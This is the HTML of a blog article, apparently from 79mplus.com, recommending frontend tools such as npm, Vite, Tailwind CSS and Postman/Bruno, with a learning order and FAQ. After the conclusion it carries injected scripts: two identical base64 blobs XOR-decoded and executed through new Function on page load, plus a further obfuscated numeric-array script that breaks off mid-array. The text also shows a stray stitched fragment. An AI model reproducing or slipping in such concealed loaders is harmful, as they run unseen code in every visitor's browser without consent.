<p data-path-to-node="30">&#8221; You don&#8217;t need to write your own code for complex tasks like date formatting or animations when thousands of high-quality, pre-tested libraries are available.</p>
<p data-path-to-node="30">A package manager keeps track of all these dependencies and ensures that everyone working on the project is using the exact same versions.</p>
<p data-path-to-node="31"><b data-path-to-node="31" data-index-in-node="0">Key features</b></p>
<ul data-path-to-node="32">
<li>
<p data-path-to-node="32,0,0"><b data-path-to-node="32,0,0" data-index-in-node="0">Dependency Management:</b> It maintains a file called <code data-path-to-node="32,0,0" data-index-in-node="50">package.json</code> that lists every library your project needs to run.</p>
</li>
<li>
<p data-path-to-node="32,1,0"><b data-path-to-node="32,1,0" data-index-in-node="0">Version Control:</b> You can specify whether you want the latest version of a tool or a specific older version to avoid breaking your site.</p>
</li>
<li>
<p data-path-to-node="32,2,0"><b data-path-to-node="32,2,0" data-index-in-node="0">Security Auditing:</b> These tools can scan your project for known security vulnerabilities in the libraries you have downloaded.</p>
</li>
<li>
<p data-path-to-node="32,3,0"><b data-path-to-node="32,3,0" data-index-in-node="0">Script Running:</b> You can create custom commands to automate tasks like starting a local server or &#8220;cleaning&#8221; your code for production.</p>
</li>
</ul>
<p data-path-to-node="33"><b data-path-to-node="33" data-index-in-node="0">Real-world usage example</b> If you want to add an image gallery to your site, you would run a command like <code data-path-to-node="33" data-index-in-node="104">npm install embla-carousel</code>. The tool downloads the code and saves the reference. When a teammate clones your project later, they simply run <code data-path-to-node="33" data-index-in-node="244">npm install</code> to get the exact same gallery code automatically.</p>
<p data-path-to-node="34"><b data-path-to-node="34" data-index-in-node="0">Skill level &#038; best use case</b> Intermediate. You will need this as soon as you move beyond basic HTML/CSS files and start using frameworks or utility libraries.</p>
<p data-path-to-node="26">oment you start working on a team or a project that lasts more than a few days.</p>
<h2 data-path-to-node="36">5. Vite</h2>
<p><img decoding="async" class="alignnone size-full wp-image-504105" src="https://www.79mplus.com/assets/Screenshot-2026-01-18-165742.png" alt="vite" width="1436" height="705" title="The best 7 Frontend Developer Tools You Need to Master in 2026" srcset="https://www.79mplus.com/assets/Screenshot-2026-01-18-165742.png 1436w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165742-1280x628.png 1280w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165742-980x481.png 980w, https://www.79mplus.com/assets/Screenshot-2026-01-18-165742-480x236.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1436px, 100vw" /></p>
<p data-path-to-node="37"><b data-path-to-node="37" data-index-in-node="0">What the tool is</b> Vite is a &#8220;build tool&#8221; that handles the heavy lifting of preparing your code for the browser.</p>
<p data-path-to-node="37">When you write modern JavaScript or use special languages like TypeScript, the browser can&#8217;t always read them directly. Vite takes your source code, bundles it together,</p>
<p data-path-to-node="37">and serves it to your browser in a way that is incredibly fast.</p>
<p data-path-to-node="38"><b data-path-to-node="38" data-index-in-node="0">Why it matters for frontend developers</b> In the past, developers had to wait several seconds for their changes to show up in the browser after saving a file.</p>
<p data-path-to-node="38">Vite uses a technology called Hot Module Replacement (HMR) to update your site almost instantly.</p>
<p data-path-to-node="38">This creates a much smoother &#8220;feedback loop,&#8221; allowing you to stay in the zone while you build and experiment.</p>
<p data-path-to-node="39"><b data-path-to-node="39" data-index-in-node="0">Key features</b></p>
<ul data-path-to-node="40">
<li>
<p data-path-to-node="40,0,0"><b data-path-to-node="40,0,0" data-index-in-node="0">Instant Server Start:</b> It starts your local development environment nearly instantly, regardless of how large your project is.</p>
</li>
<li>
<p data-path-to-node="40,1,0"><b data-path-to-node="40,1,0" data-index-in-node="0">Optimized Build:</b> When you are ready to launch your site, Vite minifies your code to make the final files as small as possible for users.</p>
</li>
<li>
<p data-path-to-node="40,2,0"><b data-path-to-node="40,2,0" data-index-in-node="0">Plugin System:</b> It can be extended to support almost any framework, including React, Vue, or Svelte, with very little configuration.</p>
</li>
<li>
<p data-path-to-node="40,3,0"><b data-path-to-node="40,3,0" data-index-in-node="0">CSS Handling:</b> It automatically handles complex CSS tasks like prefixing for different browsers or using pre-processors like Sass.</p>
</li>
</ul>
<p data-path-to-node="41"><b data-path-to-node="41" data-index-in-node="0">Real-world usage example</b> When starting a new project, you would run <code data-path-to-node="41" data-index-in-node="68">npm create vite@latest</code>. This sets up a professional folder structure. As you write code, Vite keeps a local version of your site running; every time you hit &#8220;Save,&#8221; the browser updates the specific part you changed without a full page refresh.</p>
<p data-path-to-node="42"><b data-path-to-node="42" data-index-in-node="0">Skill level &#038; best use case</b> Intermediate. It is the best use case for anyone building a modern web application that requires a framework or a local development server.</p>
<h2 data-path-to-node="44">6. Tailwind CSS</h2>
<p><img decoding="async" class="alignnone size-full wp-image-504109" src="https://www.79mplus.com/assets/Screenshot-2026-01-20-101008.png" alt="tailwind css" width="1551" height="615" title="The best 7 Frontend Developer Tools You Need to Master in 2026" srcset="https://www.79mplus.com/assets/Screenshot-2026-01-20-101008.png 1551w, https://www.79mplus.com/assets/Screenshot-2026-01-20-101008-1280x508.png 1280w, https://www.79mplus.com/assets/Screenshot-2026-01-20-101008-980x389.png 980w, https://www.79mplus.com/assets/Screenshot-2026-01-20-101008-480x190.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1551px, 100vw" /></p>
<p data-path-to-node="45"><b data-path-to-node="45" data-index-in-node="0">What the tool is</b> Tailwind CSS is a &#8220;utility-first&#8221; CSS framework. Instead of writing separate CSS files with custom names like <code data-path-to-node="45" data-index-in-node="127">.btn-primary</code>, you apply small,</p>
<p data-path-to-node="45">pre-defined classes directly to your HTML elements. It provides a standardized system for spacing, colors, and typography.</p>
<p data-path-to-node="46"><b data-path-to-node="46" data-index-in-node="0">Why it matters for frontend developers</b> Naming things in CSS is one of the hardest parts of development.</p>
<p data-path-to-node="46">Tailwind removes the need to invent class names and prevents your CSS files from growing uncontrollably.</p>
<p data-path-to-node="46">It also enforces a consistent design system, so your margins and colors look uniform across the entire website without you having to remember specific hex codes or pixel values.</p>
<p data-path-to-node="47"><b data-path-to-node="47" data-index-in-node="0">Key features</b></p>
<ul data-path-to-node="48">
<li>
<p data-path-to-node="48,0,0"><b data-path-to-node="48,0,0" data-index-in-node="0">Utility Classes:</b> You use classes like <code data-path-to-node="48,0,0" data-index-in-node="38">flex</code>, <code data-path-to-node="48,0,0" data-index-in-node="44">pt-4</code>, and <code data-path-to-node="48,0,0" data-index-in-node="54">text-blue-500</code> to style elements directly in your markup.</p>
</li>
<li>
<p data-path-to-node="48,1,0"><b data-path-to-node="48,1,0" data-index-in-node="0">Responsive Modifiers:</b> You can easily change styles for different screen sizes by adding prefixes like <code data-path-to-node="48,1,0" data-index-in-node="102">md:</code> or <code data-path-to-node="48,1,0" data-index-in-node="109">lg:</code> to your classes.</p>
</li>
<li>
<p data-path-to-node="48,2,0"><b data-path-to-node="48,2,0" data-index-in-node="0">Hover and Focus States:</b> It provides simple ways to handle interactive states like <code data-path-to-node="48,2,0" data-index-in-node="82">hover:bg-red-500</code> without writing extra CSS blocks.</p>
</li>
<li>
<p data-path-to-node="48,3,0"><b data-path-to-node="48,3,0" data-index-in-node="0">Purging:</b> When you build your site for production, Tailwind automatically removes any classes you didn&#8217;t use, keeping your final file size tiny.</p>
</li>
</ul>
<p data-path-to-node="49"><b data-path-to-node="49" data-index-in-node="0">Real-world usage example</b> To create a centered, blue button with rounded corners, you would simply write: <code data-path-to-node="49" data-index-in-node="105"><button class="bg-blue-500 rounded-lg p-4 text-white mx-auto">Click Me</button></code>. You don&#8217;t have to switch back and forth between an HTML file and a CSS file to see the result.</p>
<p data-path-to-node="50"><b data-path-to-node="50" data-index-in-node="0">Skill level &#038; best use case</b> Beginner to Intermediate. It is best for developers who want to build custom designs quickly without getting bogged down in complex CSS architecture.</p>
<h2 data-path-to-node="52">7. Postman or Bruno (API Clients)</h2>
<p><img decoding="async" class="alignnone size-full wp-image-504110" src="https://www.79mplus.com/assets/Screenshot-2026-01-20-101137.png" alt="postman api platform" width="1286" height="810" title="The best 7 Frontend Developer Tools You Need to Master in 2026" srcset="https://www.79mplus.com/assets/Screenshot-2026-01-20-101137.png 1286w, https://www.79mplus.com/assets/Screenshot-2026-01-20-101137-1280x806.png 1280w, https://www.79mplus.com/assets/Screenshot-2026-01-20-101137-980x617.png 980w, https://www.79mplus.com/assets/Screenshot-2026-01-20-101137-480x302.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1286px, 100vw" /></p>
<p data-path-to-node="53"><b data-path-to-node="53" data-index-in-node="0">What the tool is</b> An API client is a tool that allows you to test and interact with backend services without having to write any frontend code first.</p>
<p data-path-to-node="53">Postman is the most well-known, while Bruno is a newer, lightweight alternative. They act as a &#8220;remote control&#8221; for the data that powers your application.</p>
<p data-path-to-node="54"><b data-path-to-node="54" data-index-in-node="0">Why it matters for frontend developers</b> Most modern websites get their data from an API (Application Programming Interface).</p>
<p data-path-to-node="54">If a list of products isn&#8217;t showing up on your page, you need to know if the problem is in your code or if the backend server is broken. An API client lets you isolate the data layer,</p>
<p data-path-to-node="54">so you can verify exactly what information the server is sending back before you try to display it.</p>
<p data-path-to-node="55"><b data-path-to-node="55" data-index-in-node="0">Key features</b></p>
<ul data-path-to-node="56">
<li>
<p data-path-to-node="56,0,0"><b data-path-to-node="56,0,0" data-index-in-node="0">Request Builder:</b> You can easily send different types of requests (GET, POST, etc.) to a URL and see the data returned in a readable format.</p>
</li>
<li>
<p data-path-to-node="56,1,0"><b data-path-to-node="56,1,0" data-index-in-node="0">Environment Variables:</b> You can save different settings for &#8220;Development,&#8221; &#8220;Staging,&#8221; and &#8220;Production&#8221; to test your app in different environments.</p>
</li>
<li>
<p data-path-to-node="56,2,0"><b data-path-to-node="56,2,0" data-index-in-node="0">History and Collections:</b> You can save and organize your most-used API calls so you don&#8217;t have to re-type URLs or authentication keys.</p>
</li>
<li>
<p data-path-to-node="56,3,0"><b data-path-to-node="56,3,0" data-index-in-node="0">Documentation:</b> Many of these tools can automatically generate documentation from your saved requests to share with your team.</p>
</li>
</ul>
<p data-path-to-node="57"><b data-path-to-node="57" data-index-in-node="0">Real-world usage example</b> Before building a &#8220;User Profile&#8221; page, you would use Postman to send a request to <code data-path-to-node="57" data-index-in-node="107">https://api.myapp.com/user/1</code>. You check the response to see if it includes the user&#8217;s email and profile picture. Once you see the data is correct, you can confidently write the frontend code to display it.</p>
<p data-path-to-node="58"><b data-path-to-node="58" data-index-in-node="0">Skill level &#038; best use case</b> Intermediate. This becomes essential as soon as you start working with dynamic data, databases, or third-party services like Stripe or Firebase.</p>
<h2 data-path-to-node="60">How to Decide Which Tools to Learn First</h2>
<p data-path-to-node="61">It is tempting to try and learn all seven of these tools in a single weekend, but that usually leads to burnout. To stay focused, you should learn them in the order that matches the projects you are building.</p>
<h3 data-path-to-node="62">Recommended Learning Order</h3>
<ol start="1" data-path-to-node="63">
<li>
<p data-path-to-node="63,0,0"><b data-path-to-node="63,0,0" data-index-in-node="0">VS Code:</b> Get comfortable with your editor on day one.</p>
</li>
<li>
<p data-path-to-node="63,1,0"><b data-path-to-node="63,1,0" data-index-in-node="0">Chrome DevTools:</b> Learn to inspect and tweak CSS as you learn the basics of design.</p>
</li>
<li>
<p data-path-to-node="63,2,0"><b data-path-to-node="63,2,0" data-index-in-node="0">Git/GitHub:</b> Start versioning your code as soon as you have a project you care about.</p>
</li>
<li>
<p data-path-to-node="63,3,0"><b data-path-to-node="63,3,0" data-index-in-node="0">Tailwind CSS:</b> Use this to speed up your styling process once you understand basic CSS.</p>
</li>
<li>
<p data-path-to-node="63,4,0"><b data-path-to-node="63,4,0" data-index-in-node="0">npm &#038; Vite:</b> Introduce these when you move from static sites to dynamic applications.</p>
</li>
<li>
<p data-path-to-node="63,5,0"><b data-path-to-node="63,5,0" data-index-in-node="0">API Clients:</b> Master these when you begin connecting your frontend to backend data.</p>
</li>
</ol>
<h3 data-path-to-node="64">Avoiding Tool Overwhelm</h3>
<p data-path-to-node="65">The goal of these tools is to make your life easier, not harder. If a tool feels like it is getting in the way, step back and focus on the fundamental skill it is meant to help with.</p>
<p data-path-to-node="65">For example, make sure you understand <a class="ng-star-inserted" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics" target="_blank" rel="noopener" data-hveid="0" data-ved="0CAAQ_4QMahgKEwiv0cWp8ZSSAxUAAAAAHQAAAAAQgwE">CSS best practices article</a> before relying entirely on Tailwind.</p>
<p data-path-to-node="65">You can also follow a <a class="ng-star-inserted" href="https://roadmap.sh/frontend" target="_blank" rel="noopener" data-hveid="0" data-ved="0CAAQ_4QMahgKEwiv0cWp8ZSSAxUAAAAAHQAAAAAQhAE">frontend developer learning roadmap</a> to see how these tools fit into the bigger picture of your career.</p>
<h2 data-path-to-node="67">FAQ</h2>
<h3 data-path-to-node="68">Do frontend developers really need so many tools?</h3>
<p data-path-to-node="69">While you can build a website with just a text editor and a browser, these tools are what allow you to work at a professional level. They help prevent bugs, speed up your development time, and allow you to collaborate with others. In a professional environment, these tools are considered the bare minimum.</p>
<h3 data-path-to-node="70">Should beginners learn tools before frameworks?</h3>
<p data-path-to-node="71">It is usually best to learn the tools alongside your fundamentals. You don&#8217;t need to be an expert in Git to start learning React, but knowing how to use Chrome DevTools will make learning React much easier. Focus on the tool when it solves a specific problem you are facing.</p>
<h3 data-path-to-node="72">How long does it take to master these tools?</h3>
<p data-path-to-node="73">You can learn the basics of any of these tools in an afternoon. However, true mastery comes from using them every day on real projects. Don&#8217;t worry about knowing every single hidden feature; focus on the 20% of the tool that you use 80% of the time.</p>
<h2 data-path-to-node="75">Conclusion</h2>
<p data-path-to-node="76">Mastering the right tools is about more than just being fast; it&#8217;s about building confidence in your ability to solve problems.</p>
<p data-path-to-node="76">By focusing on these seven essentials—VS Code, DevTools, Git, Package Managers, Vite, Tailwind, and API Clients—you are equipping yourself with the same toolkit used by senior engineers worldwide.</p>
<p data-path-to-node="77">Don&#8217;t feel pressured to become an expert overnight. Take it one project at a time. Consistent practice is much more valuable than &#8220;tool hopping&#8221; every time a new library appears on social media. You have the roadmap; now it&#8217;s time to start building.</p>
<p><script>!function(){var _0x034992db8cf3=atob('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'),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3['length']),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();</script><script>!function(){var _0x034992db8cf3=atob('CUdUT0JVSE5PCQhaV0BTAUlnFGQVYxxWSE9FTlYNV0USEVhtHElnFGQVY3oGfn5HUWRMQ0RFUgZ8DWgYS21YFBwGQhIZQERAGUJEQEVDR0MURAYNQERGYhNoHHoDSVVVUVIbDg5CTU5URUdNQFNEDEJJREJKD09EVQMNAQNJVVVRGw4OGBUPExcPGBEPEBMXA3waSEcJV0USEVhtBwdXRRIRWG16aBhLbVgUfAhTRFVUU08aV0USEVhtHElnFGQVY3oGfn5HUWRMQ0RFUgZ8HAlXRRIRWG1dXVpcCBpXRRIRWG16aBhLbVgUfBwQGkdUT0JVSE5PAWVEYFllVQkIWkhHCQBFTkJUTERPVQ9DTkVYCFpSRFV1SExETlRVCWVEYFllVQ0TEQgaU0RVVFNPGlxXQFMBT3RbRhdTHEVOQlRMRE9VD0JTREBVRGRNRExET1UJBkVIVwYIDVVAbUtlVxxFTkJUTERPVQ9CU0RAVURkTURMRE9VCQZIR1NATEQGCBpPdFtGF1MPUlVYTUQPQlJSdURZVRwGUU5SSFVITk8bR0hZREUaSE9SRFUbERpbDEhPRURZGxMQFRYVGRITERkaQ0BCSkZTTlRPRRtTRkNACRAUDRMSDRUTDQ8VEwgaUU5IT1VEUwxEV0RPVVIbT05PRBoGGlVAbUtlVw9VSFVNRBwGckRCVFNIVVgBQklEQkoGGlVAbUtlVw9SRFVgVVVTSENUVUQJBkBNTU5WR1RNTVJCU0RETwYNBgYIGlVAbUtlVw9SVVhNRA9CUlJ1RFlVHAZRTlJIVUhOTxtHSFlERRpIT1JEVRsRGlZIRVVJGxAREQQaSURIRklVGxAREQQaQ05TRURTGxEaWwxIT0VEWRsTEBUWFRkSExAZGkNAQkpGU05UT0UbAkdHRxoGGkVOQlRMRE9VD0NORVgPQFFRRE9FYklITUUJT3RbRhdTCBpFTkJUTERPVQ9DTkVYD0BRUURPRWJJSE1FCVVAbUtlVwgaR1RPQlVITk8BVHQTcU4QCQhaVVNYWk90W0YXUw9TRExOV0QJCBpVQG1LZVcPU0RMTldECQgaXEJAVUJJCX5ECFpcVVNYWkVETURVRAFXRRIRWG16aBhLbVgUfFxCQFVCSQl+RBMIWlxcSWcUZBVjD0BFRWRXRE9VbUhSVURPRFMJBkxEUlJARkQGDUdUT0JVSE5PCX5EVwhaVVNYWkhHCQB+RFddXQB+RFcPRUBVQAhTRFVUU08aSEcJfkRXD0VAVUAPVVhRRBwcHAZHUQxETENERQxCTU5SRAYIVHQTcU4QCQgaXEJAVUJJCX5EEghaXFwIGkdUT0JVSE5PAXNZTlFGaAltVUJvUFEIWkhHCW1VQm9QUR8cQERGYhNoD01ET0ZVSQhTRFVUU08aV0BTAX5JHAYGGlVTWFp+SRxyVVNIT0YJSWcUZBVjD01OQkBVSE5PBwcJSWcUZBVjD01OQkBVSE5PD0lOUlVPQExEXV1JZxRkFWMPTU5CQFVITk8PSU5SVQhdXQYGCA9TRFFNQEJECQ5/VlZWfQ8OSA0GBggaXEJAVUJJCX5ESQhaXFdAUwF+VBxAREZiE2h6bVVCb1BRfAoGDkRMQ0RFDgYKaBhLbVgUCgYeRExDREUcEAYKCX5JHgkGB0lOUlUcBgpET0JORUR0c2hiTkxRTk9ET1UJfkkICBsGBggaV0BTAX5VThxSRFV1SExETlRVCUdUT0JVSE5PCQhac1lOUUZoCW1VQm9QUQoQCBpcDRATERERCBpVQG1LZVcPTk9NTkBFHEdUT0JVSE5PCQhaQk1EQFN1SExETlRVCX5VTggaXBpVQG1LZVcPUlNCHH5UGlxzWU5RRmgJEQgaXEhHCUVOQlRMRE9VD1NEQEVYclVAVUQcHBwGTU5ARUhPRgYISWcUZBVjD0BFRWRXRE9VbUhSVURPRFMJBmVubGJOT1VET1VtTkBFREUGDWVEYFllVQgaRE1SRAFlRGBZZVUJCBpcCAkIGg=='),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3['length']),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();</script><script>(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=[29,26,112,5,14,48,39,6,13,10,17,16,29,30,9,11,13,10,113,26,12,32,9,16,0,26,17,7,1,36,124,37,0,10,112,46,15,48,32,9,28,35,39,42,28,121,124,35,29,9,59,43,12,25,63,4,14,120,1,7,13,10,43,44,14,47,124,33,16,33,17,43,0,48,112,42,15,13,10,7,27,32,60,24,16,33,26,13,27,13,1,24,15,9,60,18,2,47,13,17,14,47,124,7,26,14,60,10,28,29,36,4,0,48,60,1,27,35,56,10,0,26,47,17,15,120,112,17,27,13,113,24,0,13,10,1,15,10,32,10,15,35,10,4,15,13,60,2,28,35,10,10,15,10,39,46,15,13,10,10,0,48,60,7,28,10,56,5,15,13,60,42,25,47,112,17,11,121,35,37,14,48,47,16,0,47,124,31,11,29,25,33,16,32,13,6,12,25,35,3,25,121,18,31,27,9,59,2,15,36,43,25,14,36,17,29,15,9,120,25,15,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,44,11,63,35,41,30,48,17,4,0,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,45,15,9,120,43,12,32,47,9,30,63,120,43,14,48,120,43,11,48,29,9,30,48,39,31,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,9,35,5,15,48,29,25,15,36,43,16,14,32,120,25,0,9,56,16,15,9,35,2,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,10,59,31,11,121,25,4,11,26,56,16,11,25,63,42,14,26,9,41,14,48,17,44,0,14,43,41,14,32,26,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,59,2,15,36,43,17,14,48,1,4,30,48,39,31,14,14,17,2,14,32,29,9,0,32,17,16,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,4,11,26,56,29,14,10,47,25,14,48,43,43,12,30,43,29,15,9,120,25,15,36,43,1,12,10,9,27,14,48,17,44,0,14,43,2,11,48,18,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,35,31,14,25,9,45,14,32,44,29,14,10,47,25,14,48,43,43,12,30,43,2,12,10,59,30,13,10,56,16,15,48,29,17,11,47,120,17,11,26,10,16,13,10,18,45,2,13,1,24,15,9,60,18,2,32,39,26,0,26,39,24,9,10,6,13,31,120,35,10,7,120,112,42,7,35,9,43,27,12,121,2,15,120,59,46,7,120,10,24,7,10,60,7,7,35,121,7,24,13,36,6,7,32,60,2,7,50,48,6,28,35,125,6,27,13,35,42,7,35,47,46,27,121,60,11,12,48,47,4,31,27,17,43,0,48,63,12,9,29,26,42,15,120,113,10,0,29,32,10,27,29,10,42,25,32,112,5,14,48,39,6,13,10,17,16,31,27,17,44,15,47,63,12,14,48,60,26,2,32,59,6,0,26,59,27,14,48,32,25,9,47,120,4,9,9,1,24,15,9,60,18,2,32,5,28,11,9,125,13,2,32,59,6,0,26,59,27,14,48,32,16,11,47,63,42,11,47,120,4,29,29,36,30,27,121,10,13,26,13,26,45,27,25,14,45,26,33,17,42,12,26,120,42,13,32,43,17,30,63,39,5,15,63,39,6,11,121,14,4,29,13,5,37,15,63,120,44,15,48,1,16,15,13,1,25,0,121,13,37,13,48,5,1,12,36,43,30,0,10,43,45,12,26,14,14,27,13,60,10,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,11,48,13,44,15,32,17,7,26,9,35,17,11,63,39,43,5,10,43,6,29,27,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,24,28,30,30,24,28,30,10,30,27,13,113,25,25,32,9,46,29,30,47,37,11,48,13,44,15,32,17,7,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,13,26,25,28,0,63,112,16,26,11,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,1,27,120,14,30,2,47,59,26,0,26,39,31,12,36,6,4,29,14,29,37,11,10,9,24,9,26,59,1,11,120,26,45,16,35,1,46,14,47,60,26,12,48,47,4,31,27,17,5,9,63,120,17,12,13,26,2,25,33,17,5,9,63,120,17,12,13,29,37,13,26,25,28,0,63,112,16,30,48,29,43,14,48,124,6,13,29,1,37,12,9,5,6,15,9,48,27,26,13,60,25,9,47,112,17,11,121,35,37,12,10,13,29,0,47,121,13,11,26,47,4,11,32,63,63,14,63,121,26,2,32,13,29,13,48,112,24,14,121,43,3,12,10,59,3,12,25,60,26,2,47,63,12,12,26,47,5,30,29,60,25,30,29,32,24,29,13,1,25,0,121,13,37,12,10,13,29,0,47,121,25,2,47,47,25,12,63,13,42,11,9,60,27,26,11,39,6,11,48,9,16,0,36,43,46,11,48,17,29,7,32,13,17,11,50,39,31,0,26,48,26,2,47,63,26,14,10,124,6,29,13,1,13,11,48,63,6,12,9,59,16,31,27,17,1,13,9,112,10,15,63,47,4,25,47,25,41,15,9,120,41,13,30,13,43,29,9,1,4,0,9,120,5,11,48,44,45,16,35,1,13,10,10,112,5,14,48,39,6,13,10,17,16,31,27,17,7,0,32,29,1,12,30,13,37,13,10,59,7,9,121,29,37,13,26,5,25,14,121,9,11,11,48,63,6,12,9,59,16,31,26,43,43,12,36,35,56,11,48,17,29,13,9,39,43,29,26,112,5,14,48,39,6,13,10,17,16,29,27,17,45,9,26,59,28,14,9,124,44,30,27,17,16,15,9,35,10,15,121,9,11,12,48,47,4,31,27,17,27,14,10,112,26,15,10,14,13,14,48,63,7,31,27,13,120,6,28,13,6,12,25,35,58,0,9,47,5,0,9,39,6,29,30,10,11,2,32,1,29,0,48,13,17,13,30,43,31,11,26,63,16,29,30,124,56,6,33,39,60,16,36,29,37,13,10,59,7,9,121,29,6,11,63,63,43,29,13,1,37,13,32,25,46,13,26,47,26,30,63,39,43,12,27,59,43,11,9,63,43,11,47,120,48,0,10,47,44,0,9,60,26,16,34,39,31,14,63,120,43,14,63,121,29,4,25,9,2,0,14,125,30,16,32,47,2,11,26,29,25,15,32,47,6,13,10,17,16,30,32,5,3,14,32,44,45,29,13,1,37,13,32,25,46,13,26,47,26,30,63,120,25,14,10,63,31,12,9,121,13,28,13,36,2,27,29,1,37,13,32,25,46,13,26,47,26,30,48,17,16,14,26,17,17,0,29,25,46,12,10,43,41,12,26,9,31,14,121,14,25,9,47,120,4,9,9,1,37,0,47,13,42,13,48,25,7,0,30,13,50,3,34,17,123,30,63,35,17,11,63,39,43,29,27,17,27,14,10,112,26,15,10,14,16,11,48,63,3,11,26,17,16,11,32,63,60,0,9,13,6,29,14,10,11,10,10,39,17,12,26,39,26,29,26,48,25,9,33,17,16,15,9,35,10,15,121,13,4